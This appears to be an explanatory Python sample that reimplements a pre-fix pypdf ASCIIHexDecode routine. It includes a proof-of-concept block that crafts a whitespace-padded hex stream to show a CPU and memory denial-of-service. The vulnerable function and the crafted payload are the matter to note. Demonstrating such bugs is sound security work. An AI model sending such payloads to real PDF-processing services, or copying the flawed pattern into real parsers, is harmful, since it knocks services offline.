Vulnerable code sample

import binascii
import re
import time

def decode_ascii_hex_vulnerable(data: bytes) -> bytes:
    """
    A representative implementation of the vulnerable ASCIIHexDecode logic
    prior to the fix in pypdf.

    The vulnerability is not in the hex decoding itself, but in the preparation
    of the data, which is highly inefficient for large inputs.
    """
    # 1. The entire stream is decoded into a Python string. If an attacker provides
    # a multi-gigabyte stream of whitespace, this alone consumes vast memory.
    try:
        hex_data = data.decode("latin-1")
    except Exception:
        # Failsafe for certain data, but the memory issue precedes this.
        return b""

    # 2. All invalid characters (whitespace, delimiters) are removed using regex.
    # On a multi-gigabyte string, this operation is extremely CPU-intensive and slow,
    # as it requires creating a new, enormous string in memory. This is the core
    # of the Denial-of-Service attack.
    cleaned_hex = re.sub(r"[^0-9a-fA-F]", "", hex_data)

    # 3. The PDF specification requires appending a "0" if the hex string has an
    # odd length.
    if len(cleaned_hex) % 2 != 0:
        cleaned_hex += "0"

    # 4. The final, cleaned hex string is converted to bytes.
    try:
        return binascii.unhexlify(cleaned_hex)
    except Exception:
        # In case of non-hex characters that somehow passed the regex.
        return b""


if __name__ == "__main__":
    # This block demonstrates the vulnerability.
    # We craft a payload that mimics a malicious PDF stream. It contains
    # very little actual data ("AB") but a huge amount of whitespace, which
    # the vulnerable function must process.

    # WARNING: A large number here will consume significant RAM and CPU.
    # 20 million spaces is enough to cause a noticeable delay of several seconds.
    # An attacker could use several billion.
    whitespace_count = 20_000_000
    
    print("Crafting malicious payload...")
    # The payload represents the hex for "AB" surrounded by millions of spaces.
    # The '<' and '>' are the PDF stream delimiters for hex data.
    payload = b"<41" + (b" " * whitespace_count) + b"42>"
    
    print(f"Payload size: {len(payload) / 1_000_000:.2f} MB")
    print("Executing vulnerable function. This will cause a long runtime...")

    start_time = time.time()
    try:
        decoded_content = decode_ascii_hex_vulnerable(payload)
        end_time = time.time()
        
        print(f"\nDecoding finished successfully.")
        print(f"Time elapsed: {end_time - start_time:.2f} seconds")
        print(f"Decoded content: {decoded_content}")

    except Exception as e:
        end_time = time.time()
        print(f"\nAn error occurred: {e}")
        print(f"Time elapsed before error: {end_time - start_time:.2f} seconds")